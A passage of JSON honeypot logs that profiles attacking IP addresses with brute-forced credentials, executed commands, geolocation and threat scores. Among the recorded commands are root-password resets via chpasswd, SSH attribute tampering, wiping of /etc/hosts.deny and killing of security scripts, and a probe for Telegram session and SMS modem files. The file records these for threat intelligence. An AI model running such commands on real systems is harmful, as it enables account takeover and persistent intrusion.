      "passwords_attempted": [
        "1Q2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "Pr@ject94",
        "Qazxsw21",
        "a.123",
        "a1s2d3!@#",
        "a4s5d6",
        "a7a7a7a7",
        "aA1234",
        "qwerty123",
        "root123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lQGuLdINvyu6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:25:37.190000+00:00",
        "last_seen_30d": "2026-03-04T17:56:25.342000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "171.244.37.97": {
      "attack_count": 118,
      "first_seen": "2026-03-15T21:07:21.318Z",
      "last_seen": "2026-03-15T21:30:03.227Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "mastodon",
        "qbtuser",
        "sakura",
        "shoutcast",
        "smbuser",
        "user001",
        "wso2"
      ],
      "passwords_attempted": [
        "12345678",
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "abc123456@",
        "ansible!@#",
        "k",
        "mastodon",
        "sakurapass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:8wMLOBCRVpzQ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:07:21.318000+00:00",
        "last_seen_30d": "2026-03-15T21:31:11.741000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "68.183.75.78": {
      "attack_count": 118,
      "first_seen": "2026-03-15T08:47:11.037Z",
      "last_seen": "2026-03-15T09:08:46.552Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "root",
        "root1",
        "root12",
        "root123",
        "root1234",
        "root12345",
        "root123456",
        "root1234567",
        "root12345678",
        "root123456789"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:47:11.037000+00:00",
        "last_seen_30d": "2026-03-15T09:09:51.454000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 47
      }
    },
    "206.189.94.208": {
      "attack_count": 105,
      "first_seen": "2026-03-16T13:49:24.421Z",
      "last_seen": "2026-03-16T14:13:50.637Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "P@ssw0rd",
        "P@ssword",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:49:24.421000+00:00",
        "last_seen_30d": "2026-03-16T14:14:51.102000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 105,
        "Suricata": 46
      }
    },
    "165.154.229.58": {
      "attack_count": 96,
      "first_seen": "2026-03-04T06:34:46.923Z",
      "last_seen": "2026-03-04T16:53:38.629Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Bingo@1993"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:JBejnah2ZtXC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T06:34:46.923000+00:00",
        "last_seen_30d": "2026-03-04T16:54:45.707000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 14
      }
    },
    "176.65.148.214": {
      "attack_count": 74,
      "first_seen": "2026-03-14T05:26:43.874Z",
      "last_seen": "2026-03-31T18:16:00.275Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T00:28:35.344000+00:00",
        "last_seen_30d": "2026-03-31T18:17:06.073000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Cowrie": 74
      }
    },
    "103.108.220.180": {
      "attack_count": 68,
      "first_seen": "2026-03-15T16:48:01.388Z",
      "last_seen": "2026-03-15T17:10:12.047Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "deployuser",
        "345gs5662d34",
        "adminer",
        "big",
        "external",
        "github",
        "leon",
        "puppet",
        "root",
        "scanner",
        "vboxuser"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "arthur",
        "big123",
        "external123!",
        "password",
        "scannerpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133296,
      "as_org": "Web Werks India Pvt. Ltd.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T16:48:01.388000+00:00",
        "last_seen_30d": "2026-03-15T17:11:17.898000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 28
      }
    },
    "134.209.23.59": {
      "attack_count": 65,
      "first_seen": "2026-03-11T13:43:22.718Z",
      "last_seen": "2026-03-11T13:56:18.475Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "P@ssw0rd",
        "admin",
        "password",
        "password1",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T13:43:22.718000+00:00",
        "last_seen_30d": "2026-03-11T13:57:22.320000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 28
      }
    },
    "121.141.249.91": {
      "attack_count": 35,
      "first_seen": "2026-03-03T10:28:23.374Z",
      "last_seen": "2026-03-03T10:29:45.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:28:23.374000+00:00",
        "last_seen_30d": "2026-03-03T10:30:46.902000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "185.242.226.24": {
      "attack_count": 32,
      "first_seen": "2026-03-17T05:41:54.140Z",
      "last_seen": "2026-03-24T16:40:07.591Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 75.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5482,
        "days_active_30d": 18,
        "ports_targeted_30d": 448,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-09T08:29:18+00:00",
        "last_seen_30d": "2026-03-26T01:22:12.332000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3274,
        "Honeytrap": 2059,
        "Dionaea": 100,
        "Cowrie": 32,
        "Ciscoasa": 6,
        "ConPot": 4,
        "Dicompot": 4,
        "H0neytr4p": 3
      }
    },
    "38.188.160.23": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:15:07.794Z",
      "last_seen": "2026-03-11T00:08:30.051Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "051084",
        "260484",
        "fordfocus",
        "leeminhoo1",
        "soeurette"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:15:07.794000+00:00",
        "last_seen_30d": "2026-03-11T00:09:37.867000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 13
      }
    },
    "94.243.9.224": {
      "attack_count": 28,
      "first_seen": "2026-03-15T08:05:00.417Z",
      "last_seen": "2026-03-15T08:08:01.670Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T08:05:00.417000+00:00",
        "last_seen_30d": "2026-03-15T08:09:11.584000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "183.212.244.242": {
      "attack_count": 24,
      "first_seen": "2026-03-16T06:45:14.479Z",
      "last_seen": "2026-03-16T06:50:26.288Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T06:45:14.479000+00:00",
        "last_seen_30d": "2026-03-16T06:51:32.743000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "45.55.188.115": {
      "attack_count": 24,
      "first_seen": "2026-03-05T04:54:48.878Z",
      "last_seen": "2026-03-05T05:17:08.188Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "trader"
      ],
      "passwords_attempted": [
        "sol",
        "trader"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T04:48:40.711000+00:00",
        "last_seen_30d": "2026-03-05T05:18:17.322000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "38.188.160.126": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:20:15.243Z",
      "last_seen": "2026-03-11T00:39:18.084Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "270984",
        "301180",
        "allana",
        "stars"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:20:15.243000+00:00",
        "last_seen_30d": "2026-03-11T00:40:27.132000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 13
      }
    },
    "209.38.92.228": {
      "attack_count": 17,
      "first_seen": "2026-03-30T09:41:44.878Z",
      "last_seen": "2026-03-30T09:41:57.882Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "*1"
      ],
      "passwords_attempted": [
        "$4"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 70.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 464,
        "days_active_30d": 1,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-30T09:41:04+00:00",
        "last_seen_30d": "2026-03-30T09:43:31.861000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 287,
        "Honeytrap": 125,
        "Cowrie": 17,
        "ConPot": 12,
        "Redishoneypot": 9,
        "Dionaea": 6,
        "ElasticPot": 4,
        "Mailoney": 4
      }
    },
    "134.209.197.63": {
      "attack_count": 15,
      "first_seen": "2026-03-25T11:58:59.779Z",
      "last_seen": "2026-03-25T11:59:21.076Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T11:58:59.779000+00:00",
        "last_seen_30d": "2026-03-25T12:00:28.794000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "64.190.76.3": {
      "attack_count": 13,
      "first_seen": "2026-03-06T15:08:41.491Z",
      "last_seen": "2026-03-22T17:39:13.961Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2024@Washere2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hayneville",
      "asn": 214094,
      "as_org": "'Association Osservatorio Nessuno ODV'",
      "threat_score": 44.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 17.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 21,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:32:24+00:00",
        "last_seen_30d": "2026-03-22T19:30:57.346000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Cowrie": 11,
        "H0neytr4p": 9,
        "Honeytrap": 5
      }
    },
    "130.12.181.151": {
      "attack_count": 11,
      "first_seen": "2026-03-03T05:29:58.481Z",
      "last_seen": "2026-03-09T23:28:50.680Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 99.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2516,
        "days_active_30d": 29,
        "ports_targeted_30d": 529,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T00:09:40+00:00",
        "last_seen_30d": "2026-03-31T09:39:04.119000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2033,
        "Honeytrap": 466,
        "Cowrie": 11,
        "Adbhoney": 4,
        "ConPot": 2
      }
    },
    "138.68.134.113": {
      "attack_count": 10,
      "first_seen": "2026-03-15T19:40:47.927Z",
      "last_seen": "2026-03-27T05:52:04.355Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 74.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 107878,
        "days_active_30d": 13,
        "ports_targeted_30d": 65125,
        "honeypots_triggered_30d": 19,
        "first_seen_30d": "2026-03-15T19:40:47+00:00",
        "last_seen_30d": "2026-03-27T06:01:56.401000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96739,
        "Honeytrap": 11075,
        "Dionaea": 12,
        "ConPot": 10,
